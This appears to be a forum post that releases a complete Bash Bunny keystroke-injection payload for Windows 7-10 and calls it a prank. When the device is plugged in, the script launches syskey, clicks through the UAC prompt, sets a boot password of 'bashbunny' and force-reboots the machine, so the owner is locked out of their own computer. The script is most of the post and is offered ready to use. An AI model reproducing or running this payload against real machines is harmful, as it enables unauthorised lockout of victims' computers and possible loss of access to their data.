I saw a Syskey Prank done on a USB via RubberDucky. So I decided to rewrite one for the Bashbunny even tho it really serves no great purpose.
So furthermore, after Syskey'ing myself. I dont want the dang thing anymore, so I'm releasing it.
#!/bin/bash
#
# Title: SysKey and Reboot
# Author: Ar1k88
# Version: 1.1b
# Target: Windows 7-10
#
# LED | Function
# ---------------------------------------------------------
# MAGENTA SLOW - USB Detection/Setup
# YELLOW FAST/VERYFAST - Script Startup/Execute
# CYAN VERYFAST - Shutting down Target Machine
# GREEN BLINK/SOLID - Shutting down Bashbunny for safe removal
# LED OFF - Bashbunny is Off, Safe to remove.
#
# Startup Delay 3 seconds.
LED M SLOW
ATTACKMODE HID
Q DELAY 3000
# Force to Desktop
LED Y FAST
Q GUI d
Q DELAY 250
# Open Run and Syskey
Q GUI r
Q DELAY 500
Q STRING syskey
Q ENTER
Q DELAY 500
# UAC Bypass
Q ALT y
# Setup Syskey - Setting Password as bashbunny
LED Y VERYFAST
Q DELAY 500
Q STRING u
Q DELAY 250
Q STRING p
Q DELAY 250
Q STRING w
Q DELAY 250
Q STRING bashbunny
Q TAB
Q DELAY 250
Q STRING bashbunny
Q DELAY 250
Q ENTER
Q DELAY 500
Q ENTER
# Rebooting Target Machine
LED C VERYFAST
Q GUI r
Q DELAY 500
Q STRING CMD
Q ENTER
Q DELAY 500
Q STRING shutdown /r /f /t 0
Q ENTER
Q DELAY 250
# Success - Starting Bashbunny Safe Shutdown
LED SUCCESS
sync -o
Q DELAY 3000
shutdown 0
SysKey Password: bashbunny
Please be responsible. ;)
-Ar1k88